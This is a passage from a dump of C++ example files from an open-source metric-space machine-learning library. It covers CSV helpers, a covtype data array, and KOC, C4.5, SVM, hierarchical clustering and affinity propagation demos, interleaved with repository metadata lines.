(getline(s, word, delimeter)) { row.push_back(std::stod(word)); } } // erase first element with partial data rows.erase(rows.begin()); dates.erase(dates.end() - 1); return { dates, rows }; } std::vector<double> generate_image(size_t size, size_t min, size_t max) { std::vector<double> result; auto random_seed = std::chrono::system_clock::now().time_since_epoch().count(); std::default_random_engine random_generator(random_seed); std::exponential_distribution<double> generator(3.5); for (int i = 0; i < size; ++i) { result.push_back(static_cast<int>(generator(random_generator) * (max - min) + min)); } return result; } template <typename T> std::vector<T> noise_image(std::vector<T> image, int min, int max) { std::vector<T> result; auto random_seed = std::chrono::system_clock::now().time_since_epoch().count(); std::default_random_engine random_generator(random_seed); std::uniform_int_distribution<int> generator(min, max); for (int i = 0; i < image.size(); ++i) { image[i] += generator(random_generator); if (image[i] > 255) { image[i] = 255; } } return image; } template <class ContainerType> void write_csv(ContainerType data, std::string filename, std::string sep=",") // container of containers expected, TODO add check { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.size(); ++i) { for (auto j = 0; j < data[i].size(); j++) { outputFile << std::to_string(static_cast<int>(data[i][j])) << sep; } outputFile << std::endl; } outputFile.close(); } /// int main(int argc, char *argv[]) { std::cout << "KOC for MNIST example have started" << std::endl; std::cout << std::endl; using Record = std::vector<double>; size_t best_w_grid_size = 20; size_t best_h_grid_size = 20; // if overrided from arguments if (argc > 3) { best_w_grid_size = std::stod(argv[2]); best_h_grid_size = std::stod(argv[3]); } std::vector<Record> dataset; std::vector<int> labels; std::vector<Record> test_set; std::vector<int> test_labels; std::tie(dataset, labels) = readMnist("assets/mnist100.csv", ',', 1000); //std::cout << std::endl; //std::cout << "labels:" << std::endl; //vector_print(labels); std::tie(test_set, test_labels) = readCsvData("assets/MNIST_anomalies.csv", ','); test_set.push_back(dataset[0]); test_set.push_back(dataset[1]); test_set.push_back(dataset[4]); test_set.push_back(generate_image(28 * 28, 0, 255)); test_set.push_back(generate_image(28 * 28, 0, 255)); test_set.push_back(generate_image(28 * 28, 0, 1)); test_set.push_back(noise_image(dataset[0], 0, 150)); test_set.push_back(noise_image(dataset[1], 0, 150)); /// // int num_clusters = 10; // random seed for repeateable results long long random_seed = 777; // extra deviation of the clusters from original in the KOC double sigma = 1.75; auto cost_mat = metric::EMD_details::ground_distance_matrix_of_2dgrid<double>(28, 28); auto maxCost = metric::EMD_details::max_in_distance_matrix(cost_mat); metric::EMD<double> distance(cost_mat, maxCost); auto distribution = std::uniform_real_distribution<double>(0, 255); auto graph = metric::Grid4(best_w_grid_size, best_h_grid_size); metric::KOC_details::KOC< Record, metric::Grid4, metric::EMD<double>, std::uniform_real_distribution<double> > simple_koc(graph, distance, sigma, 0.8, 0.0, 200, distribution, 4, 2.0, random_seed); simple_koc.train(dataset, num_clusters); //std::cout << std::endl; //std::cout << "train dataset:" << std::endl; //auto anomalies = simple_koc.check_if_anomaly(dataset); //std::cout << std::endl; //std::cout << "anomalies:" << std::endl; //vector_print(anomalies); // auto assignments = simple_koc.assign_to_clusters(dataset); //std::cout << std::endl; //std::cout << "assignments:" << std::endl; //vector_print(assignments); // accuracy std::vector<std::vector<int>> clusters(11); for (auto i = 0; i < assignments.size(); ++i) { clusters[assignments[i]].push_back(labels[i]); } std::vector<int> assignment_to_label(11, -1); for (auto i = 1; i < clusters.size(); ++i) { std::vector<int> labels_in_cluster(10); for (auto lbl : clusters[i]) { labels_in_cluster[lbl]++; } std::vector<int>::iterator result = std::max_element(labels_in_cluster.begin(), labels_in_cluster.end()); assignment_to_label[i] = std::distance(labels_in_cluster.begin(), result); } int num_matched = 0; for (auto i = 0; i < assignments.size(); ++i) { if (assignment_to_label[assignments[i]] == labels[i]) { num_matched++; } } std::cout << std::endl; std::cout << "num_matched: " << num_matched << std::endl; std::cout << "accuracy: " << (double)num_matched / assignments.size() << std::endl; // test dataset //std::cout << std::endl; //std::cout << std::endl; //std::cout << "test dataset:" << std::endl; //anomalies = simple_koc.check_if_anomaly(test_set); //std::cout << std::endl; //std::cout << "anomalies:" << std::endl; //vector_print(anomalies); // //assignments = simple_koc.assign_to_clusters(test_set); //std::cout << std::endl; //std::cout << "assignments:" << std::endl; //vector_print(assignments); /// // //image_print(test_set[0], 28, 28); //image_print(test_set[1], 28, 28); //image_print(test_set[2], 28, 28); //image_print(test_set[3], 28, 28); //image_print(test_set[4], 28, 28); //image_print(test_set[5], 28, 28); //image_print(test_set[6], 28, 28); //image_print(test_set[7], 28, 28); //metric::CosineInverted<double> distance; // //std::cout << std::endl; //std::cout << distance(test_set[0], test_set[1]) << std::endl; // 4 and 3 //std::cout << distance(test_set[0], test_set[2]) << std::endl; // 4 and 4 //std::cout << std::endl; //std::cout << distance(test_set[0], test_set[3]) << std::endl; // 4 and noise(0..255) //std::cout << distance(test_set[0], test_set[4]) << std::endl; // 4 and noise(0..255) //std::cout << distance(test_set[0], test_set[5]) << std::endl; // 4 and noise(0..1) //std::cout << std::endl; //std::cout << distance(test_set[0], test_set[6]) << std::endl; // 4 and 4 (noised) //std::cout << distance(test_set[0], test_set[7]) << std::endl; // 4 and 3 (noised) //std::cout << std::endl; //std::cout << distance(test_set[3], test_set[4]) << std::endl; // noise(0..255) and noise(0..255) //std::cout << distance(test_set[3], test_set[5]) << std::endl; // noise(0..255) and noise(0..1) return 0; }
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.cpp
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metric-space-ai/metric
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helpers.cpp
metric-space-ai_metric/examples/mapping_examples/assets/helpers.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <iostream> #include <fstream> #include <vector> #include <string> #include <sstream> #include <blaze/Blaze.h> template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(std::string filename, std::string sep=",") { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); } return array; } template <class ContainerType> void write_csv(ContainerType data, std::string filename, std::string sep=",") // container of containers expected, TODO add check { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.size(); ++i) { for (auto j = 0; j < data[i].size(); j++) { outputFile << std::to_string(data[i][j]) << sep; } outputFile << std::endl; } outputFile.close(); } // TODO add return flag template <class ValueType> void blaze_dm_to_csv(blaze::DynamicMatrix<ValueType> data, std::string filename, std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } // TODO add return flag template <class ValueType> std::vector<std::vector<ValueType>> read_csv_num(std::string filename, std::string sep=";") { // code dubbing with read_csv, TODO unify and remove one of these functions typedef typename std::vector<ValueType> LINE; std::string line; int pos; std::vector<std::vector<ValueType>> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return array; } while( getline(in,line) ) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(convert_to<ValueType>(field)); } ln.push_back(convert_to<ValueType>(line)); array.push_back(ln); } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze(const std::string & filename, std::string sep = ";") { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } //template <template <class, bool> class BlazeContainerType, class ValueType, bool SO> //bool read_csv_blaze(const std::string & filename, BlazeContainerType<ValueType, SO> & matrix, std::string sep = ";") { template <template <class, bool> class BlazeContainerType, class ValueType> bool read_csv_blaze(const std::string & filename, BlazeContainerType<ValueType, blaze::rowMajor> & matrix, std::string sep = ";") { //typedef typename std::vector<std::string> LINE; std::string line; int pos; //std::vector<LINE> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return false; } size_t row_idx = 0; while( getline(in, line) ) { //LINE ln; size_t col_idx = 0; while( (pos = line.find(sep) ) >= 0) { std::string field = line.substr(0, pos); std::cout << field << "\n"; std::cout << line << "\n"; line = line.substr(pos+1); //ln.push_back(field); matrix(row_idx, col_idx) = convert_to<ValueType>(field); ++col_idx; } matrix(row_idx, col_idx) = convert_to<ValueType>(line); ++row_idx; //ln.push_back(line); //array.push_back(ln); } return true; }
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,430
covtype_data_small.cpp
metric-space-ai_metric/examples/mapping_examples/assets/covtype_data_small.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <vector> #include <functional> std::vector<std::vector<int>> covtype_data = { { 2596, 51, 3, 258, 0, 510, 221, 232, 148, 6279, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2590, 56, 2, 212, -6, 390, 220, 235, 151, 6225, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2804, 139, 9, 268, 65, 3180, 234, 238, 135, 6121, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2785, 155, 18, 242, 118, 3090, 238, 238, 122, 6211, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2595, 45, 2, 153, -1, 391, 220, 234, 150, 6172, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2579, 132, 6, 300, -15, 67, 230, 237, 140, 6031, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2606, 45, 7, 270, 5, 633, 222, 225, 138, 6256, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2605, 49, 4, 234, 7, 573, 222, 230, 144, 6228, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2617, 45, 9, 240, 56, 666, 223, 221, 133, 6244, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2612, 59, 10, 247, 11, 636, 228, 219, 124, 6230, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2612, 201, 4, 180, 51, 735, 218, 243, 161, 6222, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2886, 151, 11, 371, 26, 5253, 234, 240, 136, 4051, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2742, 134, 22, 150, 69, 3215, 248, 224, 92, 6091, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2609, 214, 7, 150, 46, 771, 213, 247, 170, 6211, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2503, 157, 4, 67, 4, 674, 224, 240, 151, 5600, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2495, 51, 7, 42, 2, 752, 224, 225, 137, 5576, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2610, 259, 1, 120, -1, 607, 216, 239, 161, 6096, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2517, 72, 7, 85, 6, 595, 228, 227, 133, 5607, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2504, 0, 4, 95, 5, 691, 214, 232, 156, 5572, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2503, 38, 5, 85, 10, 741, 220, 228, 144, 5555, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2501, 71, 9, 60, 8, 767, 230, 223, 126, 5547, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 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270, 5, 60, 15, 4756, 206, 242, 174, 2241, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2957, 255, 3, 90, 12, 4786, 213, 241, 166, 2227, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 3188, 101, 8, 547, 95, 3022, 233, 230, 129, 3439, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2955, 27, 8, 42, -3, 4604, 217, 223, 142, 2341, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 2951, 84, 2, 0, 0, 4694, 222, 235, 149, 2296, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { 3111, 98, 8, 90, 3, 5369, 234, 228, 126, 808, 1, 0, 0, 0, 0, 0, 0, 0, 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212,553
C++
.cpp
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metric-space-ai/metric
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C45_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/classification/C45_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <variant> #include <chrono> #include <deque> // for Record test #include "../../assets/helpers.cpp" // csv reader #include "metric/mapping.hpp" template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "["; for (size_t i = 0; i < vec.size(); i++) { if (i < vec.size() - 1) { std::cout << vec[i] << ", "; } else { std::cout << vec[i] << "]" << std::endl; } } } int main() { std::cout << "C4.5 example have started" << std::endl; std::cout << '\n'; using Record = std::vector<int>; // may be of arbitrary type, with appropriate accessors std::vector<Record> payments = { {0,3,5,0}, {1,4,5,0}, {2,5,2,1}, {3,6,2,1} }; std::vector<std::function<double(Record)>> features; for (int i = 0; i < (int)payments[0].size() - 1; ++i) { features.push_back( [=](auto r) { return r[i]; } // we need closure: [=] instead of [&] !! THIS DIFFERS FROM API !! ); } std::function<bool(Record)> response = [](Record r) { if (r[r.size() - 1] >= 0.5) return true; else return false; }; std::vector<Record> test_sample = { {0,3,5,0}, {3,6,2,1} }; std::vector<bool> prediction; auto startTime = std::chrono::steady_clock::now(); auto endTime = std::chrono::steady_clock::now(); // test on int vector std::cout << "C4.5 on int vector: " << std::endl; startTime = std::chrono::steady_clock::now(); metric::edmClassifier<Record, CC45> c45Model_1 = metric::edmClassifier<Record, CC45>(); std::cout << "training... " << std::endl; c45Model_1.train(payments, features, response); endTime = std::chrono::steady_clock::now(); std::cout << "trained (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime - startTime).count()) / 1000000 << " s)" << std::endl; c45Model_1.predict(test_sample, features, prediction); std::cout << "C4.5 prediction: " << std::endl; vector_print(prediction); std::cout << "\n"; //*/ // test on Iris using IrisRec = std::vector<std::string>; std::vector<IrisRec> iris_str = read_csv<std::vector<IrisRec>>("./assets/iris.csv"); std::deque<IrisRec> iris_strD = read_csv<std::deque<IrisRec>>("./assets/iris.csv"); iris_str.erase(iris_str.begin()); // remove headers iris_strD.erase(iris_strD.begin()); // remove headers std::vector<IrisRec> IrisTestRec = { iris_str[5] }; // 1 std::deque<IrisRec> IrisTestRecD = { iris_strD[5] }; // 1 std::vector<IrisRec> IrisTestMultipleRec = { iris_str[5], iris_str[8], iris_str[112] }; // 1, 1, 0 std::deque<IrisRec> IrisTestMultipleRecD = { iris_str[5], iris_str[8], iris_str[112] }; // 1, 1, 0 std::vector<std::function<double(IrisRec)> > features_iris; for (int i = 1; i < (int)iris_str[0].size() - 1; ++i) { // skip 1st and last column (it is index and label) if (i < (int)iris_str[0].size() - 1) { features_iris.push_back( [=](auto r) { return std::stod(r[i]); } // we need closure: [=] instead of [&] ); } else { // TODO remove in order to test response accessor features_iris.push_back( [=](auto r) { if (r[i] == "\"setosa\"") { return 1.0; } else return 0.0; } ); } } std::function<bool(IrisRec)> response_iris = [](IrisRec r) { if (r[r.size() - 1] == "\"setosa\"") return true; else return false; }; // std::cout << "C4.5 on Iris: " << std::endl; startTime = std::chrono::steady_clock::now(); auto c45Model_2 = metric::edmClassifier<IrisRec, libedm::CC45>(); // usage of weak without strong. Training does not affect further usage of wl20 in strong classifiers! std::cout << "training... " << std::endl; c45Model_2.train(iris_str, features_iris, response_iris); endTime = std::chrono::steady_clock::now(); std::cout << "trained (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime - startTime).count()) / 1000000 << " s)" << std::endl; c45Model_2.predict(IrisTestRec, features_iris, prediction); std::cout << "C4.5 prediction on single Iris: " << std::endl; vector_print(prediction); c45Model_2.predict(IrisTestMultipleRec, features_iris, prediction); std::cout << "C4.5 prediction on multiple Iris: " << std::endl; vector_print(prediction); std::cout << "\n"; return 0; }
4,452
C++
.cpp
123
33.398374
159
0.641923
metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,432
SVM_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/classification/SVM_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2018 Panda Team */ #include <variant> #include <chrono> #include <deque> // for Record test #include "../../assets/helpers.cpp" // csv reader #include "metric/mapping.hpp" template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "["; for (size_t i = 0; i < vec.size(); i++) { if (i < vec.size() - 1) { std::cout << vec[i] << ", "; } else { std::cout << vec[i] << "]" << std::endl; } } } int main() { std::cout << "SVN example have started" << std::endl; std::cout << '\n'; using Record = std::vector<int>; // may be of arbitrary type, with appropriate accessors std::vector<Record> payments = { {0,3,5,0}, {1,4,5,0}, {2,5,2,1}, {3,6,2,1} }; std::vector<std::function<double(Record)>> features; for (int i = 0; i < (int)payments[0].size() - 1; ++i) { features.push_back( [=](auto r) { return r[i]; } // we need closure: [=] instead of [&] !! THIS DIFFERS FROM API !! ); } std::function<bool(Record)> response = [](Record r) { if (r[r.size() - 1] >= 0.5) return true; else return false; }; std::vector<Record> test_sample = { {0,3,5,0}, {3,6,2,1} }; std::vector<bool> prediction; auto startTime = std::chrono::steady_clock::now(); auto endTime = std::chrono::steady_clock::now(); // test on int vector std::cout << "SVM on int vector: " << std::endl; startTime = std::chrono::steady_clock::now(); metric::edmClassifier<Record, CSVM> svmModel_1 = metric::edmClassifier<Record, CSVM>(); std::cout << "training... " << std::endl; svmModel_1.train(payments, features, response); endTime = std::chrono::steady_clock::now(); std::cout << "trained (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime - startTime).count()) / 1000000 << " s)" << std::endl; svmModel_1.predict(test_sample, features, prediction); std::cout << "prediction: " << std::endl; vector_print(prediction); std::cout << "\n"; //*/ // test on Iris using IrisRec = std::vector<std::string>; std::vector<IrisRec> iris_str = read_csv<std::vector<IrisRec>>("./assets/iris.csv"); std::deque<IrisRec> iris_strD = read_csv<std::deque<IrisRec>>("./assets/iris.csv"); iris_str.erase(iris_str.begin()); // remove headers iris_strD.erase(iris_strD.begin()); // remove headers std::vector<IrisRec> IrisTestRec = { iris_str[5] }; // 1 std::deque<IrisRec> IrisTestRecD = { iris_strD[5] }; // 1 std::vector<IrisRec> IrisTestMultipleRec = { iris_str[5], iris_str[8], iris_str[112] }; // 1, 1, 0 std::deque<IrisRec> IrisTestMultipleRecD = { iris_str[5], iris_str[8], iris_str[112] }; // 1, 1, 0 std::vector<std::function<double(IrisRec)> > features_iris; for (int i = 1; i < (int)iris_str[0].size() - 1; ++i) { // skip 1st and last column (it is index and label) features_iris.push_back( [=](auto r) { return std::stod(r[i]); } // we need closure: [=] instead of [&] ); } std::function<bool(IrisRec)> response_iris = [](IrisRec r) { if (r[r.size() - 1] == "\"setosa\"") return true; else return false; }; std::cout << "SVM on Iris: " << std::endl; startTime = std::chrono::steady_clock::now(); auto svmModel_2 = metric::edmClassifier<IrisRec, CSVM>(); std::cout << "training... " << std::endl; svmModel_2.train(iris_str, features_iris, response_iris); endTime = std::chrono::steady_clock::now(); std::cout << "trained (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(endTime - startTime).count()) / 1000000 << " s)" << std::endl; svmModel_2.predict(IrisTestRec, features_iris, prediction); std::cout << "SVM prediction on single Iris: " << std::endl; vector_print(prediction); svmModel_2.predict(IrisTestMultipleRec, features_iris, prediction); std::cout << "SVM prediction on multiple Iris: " << std::endl; vector_print(prediction); std::cout << "\n"; return 0; }
4,076
C++
.cpp
108
35.148148
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0.647808
metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
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false
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false
1,531,433
HierarchicalClustering_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/clustering/HierarchicalClustering_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/mapping.hpp" #include "metric/distance.hpp" int main() { std::cout << "Hierarchical Clustering example have started" << std::endl; std::cout << '\n'; std::cout << "Data as records (vector of floats)" << std::endl; std::cout << '\n'; using Record = std::vector<float>; std::vector<Record> data{ {0, 0, 0, 0, 0}, {1, 1, 1, 1, 1}, {1.74120000000000, 4.07812000000000, -0.0927036000000, 41.7888000000000, 41.7888000000000}, {7.75309000000000, 16.2466000000000, 3.03956000000000, 186.074000000000, 186.074000000000}, {2.85493000000000, 3.25380000000000, 2.50559000000000, 68.5184000000000, 68.5184000000000}, {5.81414000000000, 8.14015000000000, 3.22950000000000, 139.539000000000, 139.539000000000}, {2.57927000000000, 2.63399000000000, 2.46802000000000, 61.9026000000000, 61.9026000000000} }; auto hc = metric::HierarchicalClustering<Record, metric::Euclidean<Record::value_type>>(data, 3); hc.hierarchical_clustering(); for (size_t i = 0; i < hc.clusters.size(); i++) { std::cout << "cluster #" << i << std::endl; for (size_t j = 0; j < hc.clusters[i].data.size(); j++) { for (size_t k = 0; k < hc.clusters[i].data[j].size(); k++) { std::cout << hc.clusters[i].data[j][k] << " "; } std::cout << std::endl; } std::cout << std::endl; } // clustering on strings std::cout << "Data as strings" << std::endl; std::cout << '\n'; std::vector<std::string> str_data{ "1011001100110011001111111", "1000011001100110011011100", "Absolutly different string 1", "Absolutly different string 2", "Test string 1", "Test string 2", "Test string 3" }; auto hc2 = metric::HierarchicalClustering<std::string, metric::Edit<std::string>>(str_data, 4); hc2.hierarchical_clustering(); for (size_t i = 0; i < hc2.clusters.size(); i++) { std::cout << "cluster #" << i << std::endl; for (size_t j = 0; j < hc2.clusters[i].data.size(); j++) { std::cout << hc2.clusters[i].data[j] << std::endl; } std::cout << std::endl; } return 0; }
2,309
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.cpp
64
32.59375
98
0.659757
metric-space-ai/metric
34
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
true
false
1,531,434
AffinityPropagation_example.cpp
metric-space-ai_metric/examples/mapping_examples/quantized_mappers/clustering/AffinityPropagation_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include "metric/mapping.hpp" #include "metric/space/matrix.hpp" #include "metric/distance.hpp" int main() { std::cout << "Affinity Propagation example have started" << std::endl; std::cout << '\n'; std::vector<std::vector<double>> data { { 0, 0, 0, 0, 0 }, { 1.74120000000000, 4.07812000000000, -0.0927036000000, 41.7888000000000, 41.7888000000000 }, { 7.75309000000000, 16.2466000000000, 3.03956000000000, 186.074000000000, 186.074000000000 }, { 2.85493000000000, 3.25380000000000, 2.50559000000000, 68.5184000000000, 68.5184000000000 }, { 5.81414000000000, 8.14015000000000, 3.22950000000000, 139.539000000000, 139.539000000000 }, { 2.57927000000000, 2.63399000000000, 2.46802000000000, 61.9026000000000, 61.9026000000000 } }; metric::Matrix<std::vector<double>, metric::Euclidean<double>> distance_matrix(data); auto affprop = metric::AffProp<std::vector<double>, metric::Euclidean<double>>(); auto [assignments, exemplars, counts] = affprop(distance_matrix); // out: //assignments: //1, 1, 0, 1, 0, 1 //exemplars : //4, 5 //counts : //2, 4 std::cout << "assignments:" << std::endl; for (size_t i = 0; i < assignments.size(); i++) { if (i < assignments.size() - 1) { std::cout << assignments[i] << ", "; } else { std::cout << 